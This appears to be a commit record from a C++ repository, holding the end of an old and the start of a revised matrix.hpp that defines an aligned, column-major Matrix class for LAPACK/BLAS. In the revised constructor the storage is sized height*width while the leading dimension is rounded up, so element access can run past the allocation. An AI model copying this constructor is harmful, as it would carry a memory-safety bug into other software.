}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a non-const pointer to the underlying one-dimensional \n\t\/\/\/ array of elements.\n\n\t\/\/\/ \\sa data() const\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto data() noexcept -> pointer\n\t{ return _storage.data(); }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a const pointer to the element at row \\p i and \n\t\/\/\/ column \\p j.\n\n\t\/\/\/ \\se data(std::size_t const, std::size_t const)\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr\n\tauto data( size_type const i\n\t         , size_type const j ) const noexcept -> const_pointer\n\t{ return data() + (i + _ldim * j); }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a non-const pointer to the element at row \\p i and \n\t\/\/\/ column \\p j.\n\n\t\/\/\/ \\se data(std::size_t const, std::size_t const) const\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr\n\tauto data( size_type const i\n\t         , size_type const j ) noexcept -> pointer\n\t{ return data() + (i + _ldim * j); }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns the element at row \\p i and column \\p j.\n\n\t\/\/\/ \\warning Mind you: not a const-reference, by the element by value!\n\t\/\/\/ This is due to the fact that this class is meant to be used with\n\t\/\/\/ elementary number types such as `float` or `int`.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr\n\tauto operator() ( size_type const i\n\t                , size_type const j ) const noexcept -> value_type\n\t{ assert(i < height() and j < width() and \"Index out of bounds.\");\n\t  return *data(i, j); \n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns a non-const reference to the element at row \\p i and \n\t\/\/\/ column \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr\n\tauto operator() ( size_type const i\n\t                , size_type const j ) noexcept -> reference\n\t{ assert(i < height() and j < width() and \"Index out of bounds.\");\n\t  return *data(i, j);\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a constant row iterator to the beginning of row \\p i.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto cbegin_row(size_type const i) const noexcept\n\t\t-> const_blas_iterator<value_type>\n\t{ assert(i < height() and \"Index out of bounds.\");\n\t  return const_blas_iterator<value_type>{ data(i, 0),\n\t      static_cast<difference_type>(ldim()) };\n\t}\n\t\n\t\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a mutating row iterator to the beginning of row \\p i.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto begin_row(size_type const i) noexcept\n\t\t-> blas_iterator<value_type>\n\t{ assert(i < height() and \"Index out of bounds.\");\n\t  return blas_iterator<value_type>{ data(i, 0), \n\t      static_cast<difference_type>(ldim()) };\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a constant row iterator to the end of row \\p i.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto cend_row(size_type const i) const noexcept\n\t\t-> const_blas_iterator<value_type>\n\t{ assert(i < height() and \"Index out of bounds.\");\n\t  return const_blas_iterator<value_type>{ data(i, width()),\n\t      static_cast<difference_type>(ldim()) };\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a mutating row iterator to the end of row \\p i.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto end_row(size_type const i) noexcept\n\t\t-> blas_iterator<value_type>\n\t{ assert(i < height() and \"Index out of bounds.\");\n\t  return blas_iterator<value_type>{ data(i, width()), \n\t      static_cast<difference_type>(ldim()) };\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a constant column iterator to the beginning of column \n\t\/\/\/ \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto cbegin_column(size_type const j) const noexcept\n\t\t-> const_blas_iterator<value_type>\n\t{ assert(j < width() and \"Index out of bounds.\");\n\t  return {data(0, j), 1};\n\t}\n\t\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a mutating column iterator to the beginning of column \n\t\/\/\/ \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto begin_column(size_type const j) noexcept\n\t\t-> blas_iterator<value_type>\n\t{ assert(j < width() and \"Index out of bounds.\");\n\t  return blas_iterator<value_type>{data(0, j), 1};\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a constant column iterator to the end of column \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto cend_column(size_type const j) const noexcept\n\t\t-> const_blas_iterator<value_type>\n\t{ assert(j < width() and \"Index out of bounds.\");\n\t  return const_blas_iterator<value_type>{data(height(), j), 1};\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a mutating column iterator to the end of column \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto end_column(size_type const j) noexcept\n\t\t-> blas_iterator<value_type>\n\t{ assert(j < width() and \"Index out of bounds.\");\n\t  return blas_iterator<value_type>{data(height(), j), 1};\n\t}\n\n\t\nprivate:\n\tfriend\n\tauto swap(Matrix<value_type>& lhs, Matrix<value_type>& rhs) noexcept\n\t{ using std::swap;\n\t  swap(lhs._storage, rhs._storage);\n\t  swap(lhs._height, rhs._height);\n\t  swap(lhs._width, rhs._width);\n\t  swap(lhs._ldim, rhs._ldim);\n\t}\n};\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns true if the given matrix is just a row vector.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <class _M>\nconstexpr \nauto is_row(_M const& A) noexcept -> bool { return A.height() == 1; }\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns true if the given matrix is just a column vector.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <class _M>\nconstexpr \nauto is_column(_M const& A) noexcept -> bool { return A.width() == 1; }\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns true if the given matrix is a square matrix.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <class _M>\nconstexpr \nauto is_square(_M const& A) noexcept -> bool {return A.width() == A.height();}\n\n\ntemplate <class _T, std::size_t _Align, class _Alloc>\nauto operator<< (std::ostream& out, Matrix<_T, _Align, _Alloc> const& A) \n\t-> std::ostream&\n{\n\tfor (std::size_t i = 0; i < A.height(); ++i) {\n\t\tfor (std::size_t j = 0; j < A.width(); ++j)\n\t\t\tout << A(i, j) << '\\t';\n\t\tout << '\\n';\n\t}\n\treturn out;\n}\n\n\ntemplate<class _T, std::size_t _Align, class _Alloc>\nauto operator>> (std::istream& in, Matrix<_T, _Align, _Alloc>& A) \n\t-> std::istream&\n{\n\tfor (std::size_t i = 0; i < A.height(); ++i) {\n\t\tfor (std::size_t j = 0; j < A.width(); ++j) {\n\t\t\tin >> A(i, j);\n\t\t}\n\t}\n\treturn in;\n}\n\n\ntemplate<class Func>\nauto build_matrix( std::size_t const height, std::size_t const width\n                 , Func f )\n{\n\tusing T = decltype( f( std::declval<std::size_t>()\n\t                     , std::declval<std::size_t>()\n\t                     ) );\n\tMatrix<T> result{height, width};\n\tfor (std::size_t j = 0; j < width; ++j)\n\t\tfor (std::size_t i = 0; i < height; ++i)\n\t\t\tresult(i, j) = f(i, j);\n\treturn result;\n}\n\n} \/\/ namespace tcm\n\n\n\n\n#endif \/\/ TCM_MATRIX_HPP\n<commit_msg>Dummy<commit_after>#ifndef TCM_MATRIX_HPP\n#define TCM_MATRIX_HPP\n\n\n#include <cassert>\n#include <complex>\n#include <memory>\n#include <type_traits>\n#include <algorithm>\n\n#include <boost\/align\/aligned_allocator_adaptor.hpp>\n\n#include <utils.hpp>\n#include <iterator.hpp>\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\file matrix.hpp\n\/\/\/ \\brief This file implements a Matrix class and some operations associated\n\/\/\/        with it.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nnamespace tcm {\n\n\n\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief A simple wrapper around the (data, ldim, width) representation\n\/\/\/        of matrices used in LAPACK. Uses column-major ordering.\n\n\/\/\/ This is a _container_ class in the sense that it manages its own memory.\n\/\/\/ Matrix class is meant to be used with LAPACK\/BLAS and thus focuses on\n\/\/\/ fundamental numeric types. There are two important differences\n\/\/\/ between this class and, for example, an %std::vector.\n\/\/\/ 1) As we plan to use matrices with LAPACK\/BLAS routines, it helps\n\/\/\/    (from the performance point of view) to correctly align our matrices.\n\/\/\/    From Intel MKL's manual:\n\/\/\/    > To improve performance of your application that calls Intel MKL, \n\/\/\/    > align your arrays on 64-byte boundaries and ensure that the leading \n\/\/\/    > dimensions of the arrays are divisible by 64\/element_size, where \n\/\/\/    > element_size is the number of bytes for the matrix elements \n\/\/\/    > (4 for single-precision real, 8 for double-precision real and \n\/\/\/    > single-precision complex, and 16 for double-precision complex). \n\/\/\/ 2) We don't initialise storage.\n\/\/\/\n\/\/\/ \\tparam _Tp Element type of the matrix.\n\/\/\/ \\tparam _Align Alignment. Must be a power of 2. This argument is used \n\/\/\/                for two things:\n\/\/\/                1) Allocation of storage that is aligned at least to _Alloc.\n\/\/\/                2) Computing the leading dimension of the matrix to ensure\n\/\/\/                   that `this->data(0, 1)` is again aligned to _Alloc.\n\/\/\/ \n\/\/\/                We use %boost::alignment::aligned_allocator_adaptor\n\/\/\/                for this.\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate< class _Tp\n        , std::size_t _Align = 64 \/\/ std::alignment_of<_Tp>::value\n        , class _Alloc = std::allocator<_Tp>\n        >\nclass Matrix {\n\nprivate:\n\tusing _Aligned_Alloc = boost::alignment::\n\t\taligned_allocator_adaptor<_Alloc, _Align>;\n\tusing _Storage_type = utils::_Storage<_Tp, _Aligned_Alloc>;\n\n\tstatic_assert( (_Align != 0) and ((_Align & (_Align - 1)) == 0)\n\t             , \"_Align must be a power of 2\" );\n\tstatic_assert( _Align % std::alignment_of<_Tp>::value == 0\n\t             , \"Invalid alignment.\" );\n\npublic:\n\tusing value_type        = _Tp;\n\tusing reference         = typename _Storage_type::reference;\n\tusing const_reference   = typename _Storage_type::const_reference;\n\tusing pointer           = typename _Storage_type::pointer;\n\tusing const_pointer     = typename _Storage_type::const_pointer;\n\tusing size_type         = typename _Storage_type::size_type;\n\tusing difference_type   = typename _Storage_type::difference_type;\n\tusing allocator_type    = typename _Storage_type::allocator_type;\n\nprivate:\n\tsize_type       _height;\n\tsize_type       _width;\n\tsize_type       _ldim;\n\t_Storage_type   _storage;\n\n\tstatic constexpr auto round_up(size_type const n) -> size_type\n\t{\n\t\tconstexpr auto multiple = _Align \/ std::alignment_of<_Tp>::value;\n\t\treturn ((n + multiple - 1) \/ multiple) * multiple;\n\t}\n\npublic:\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Default constructor. \n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tMatrix()\n\t\tnoexcept(std::is_nothrow_default_constructible<_Storage_type>::value)\n\t\t: _height{ 0 }\n\t\t, _width{ 0 }\n\t\t, _ldim{ 0 }\n\t    , _storage{}\n\t{\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Move constructor.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tMatrix(Matrix && x)\n\t\tnoexcept(std::is_nothrow_move_constructible<_Storage_type>::value)\n\t\t: _height{ 0 }\n\t\t, _width{ 0 }\n\t\t, _ldim{ 0 }\n\t    , _storage{ std::move(x._storage) }\n\t{\n\t\tusing std::swap;\n\t\tswap(_height, x._height);\n\t\tswap(_width, x._width);\n\t\tswap(_ldim, x._ldim);\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Copy constructor.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tMatrix(Matrix const& x)\n\t\tnoexcept(std::is_nothrow_copy_constructible<_Storage_type>::value)\n\t\t: _height{ x._height }\n\t\t, _width{ x._width }\n\t\t, _ldim{ x._ldim }\n\t    , _storage{ x._storage }\n\t{\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Constructs a Matrix of given dimensions.\n\n\t\/\/\/ \\param height Height of the matrix, i.e. number of rows.\n\t\/\/\/ \\param width  Width of the matrix, i.e. number of columns.\n\t\/\/\/\n\t\/\/\/ \\sa Matrix(size_type const, size_type const, difference_type const).\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tMatrix(size_type const height, size_type const width)\n\t\t: _height{ height }\n\t\t, _width{ width }\n\t\t\/\/ , _ldim{ height }\n\t\t, _ldim{ round_up(height) }\n\t\t, _storage{ height * width }\n\t{\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Destructor.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t~Matrix()\n\t{\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Move assignment operator. \n\t\n\t\/\/\/ No copy assignment operator is provided\n\t\/\/\/ to make it less convenient to perform copies all the time.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tauto operator=(Matrix && other) noexcept -> Matrix &\n\t{ swap(*this, other);\n\t  return *this;\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns the height of the matrix.\n\n\t\/\/\/ \\sa width(), ldim().\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto height() const noexcept -> size_type\n\t{ return _height; }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns the width of the matrix.\n\t\n\t\/\/\/ \\sa height(), ldim().\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto width() const noexcept -> size_type\n\t{ return _width; }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns the leading dimension of the matrix.\n\n\t\/\/\/ \\sa width(), height().\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto ldim() const noexcept -> size_type\n\t{ return _ldim; }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a const pointer to the underlying one-dimensional array\n\t\/\/\/ of elements.\n\n\t\/\/\/ \\sa data()\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto data() const noexcept -> const_pointer\n\t{ return _storage.data(); }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a non-const pointer to the underlying one-dimensional \n\t\/\/\/ array of elements.\n\n\t\/\/\/ \\sa data() 